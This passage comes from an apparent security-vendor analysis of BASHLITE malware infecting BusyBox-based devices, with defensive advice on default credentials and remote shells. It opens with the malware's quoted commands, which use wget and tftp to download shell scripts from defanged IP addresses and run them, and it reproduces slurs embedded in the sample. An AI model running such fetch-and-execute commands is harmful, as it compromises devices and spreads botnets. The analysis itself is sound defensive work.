cd /tmp busybox wget http://69[.]163[.]37[.]115/.niggers/bin.sh busybox tftp -r bin.sh -g 69[.1]63[.]37[.]115 sh bin.sh echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n cd /tmp/ busybox wget http://176[.]10[.]250[.]37/.niggers/bin2.sh busybox tftp -r bin2.sh -g 176[.]10[.]250[.]37 sh bin2.sh echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\nThis means that the malware can do the following commands on the affected devices:
- Change to the temporary folder where generally there is file write access
- Download a remote file, depending on whether the shell script is hosted via HTTP or TFTP. There is ‘fail-safe’ mechanism to achieve its download routine. This means that if in the first command, it doesn’t execute any file, it will try again to connect to the URL and download the file.
- Run the downloaded shell script.
- Perform previous “fingerprinting” routine, to check if the device runs on BusyBox.
Figure 1. Code snippets of BASHLITE downloading files via BusyBoxThe previous BASHLITE sample (detected as ELF_BASHLITE.A) used BusyBox just to echo the string 'gayfgt' if the remote malicious user invokes the command SCANNER ON:
Figure 2. Scanner mode 'ON'
Figure 3. Code snippet of ELF_BASHLITE.A where the string, ‘gayfgt’ is represented in octal formThis is done to check if the device runs BusyBox, however it does not execute any commands (unlike the new samples). BASHLITE attempts to log into the remote systems by using the default set of usernames and passwords:
Figure 4. Set of usernames and passwordsUser Impact and Countermeasures Devices running on BusyBox can be possibly affected by BASHLITE. As such, a remote attacker can issue commands or download other files on the devices thus compromising its security. Since the initial discovery of Shellshock vulnerability, Trend Micro has provided protection via Deep Security rules and Smart Protection Network that detects the exploit and all related malware payload. We strongly advised users to change the default usernames and passwords and disable remote shell if possible to these devices. For more information on Shellshock vulnerability, you can read our Summary of Shellshock-Related Stories and Materials. Users can also get free protection from Shellshock via these tools. The following hashes are related to this threat: